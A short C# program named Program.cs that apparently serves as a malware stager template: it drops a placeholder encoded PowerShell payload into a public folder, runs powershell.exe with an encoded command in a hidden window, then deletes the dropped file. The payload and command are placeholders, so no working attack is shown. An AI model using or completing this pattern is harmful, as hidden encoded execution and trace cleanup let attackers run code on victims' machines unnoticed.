Program.cs

using System.Threading;
using System.Diagnostics;
using System.IO;

namespace peewpw
{
    static class Program
    {
        static string psc = "<encoded powershell payload>";
        static void Main(string[] args)
        {
            File.WriteAllText(@"C:\Users\Public\test12.txt", psc);
            Process process = new Process();
            process.StartInfo.FileName = "powershell.exe";
            process.StartInfo.Arguments = "-enc <base64 encoded command>";
            process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
            process.Start();
            Thread.Sleep(5000);
            File.Delete(@"C:\Users\Public\test12.txt");
        }
    }
}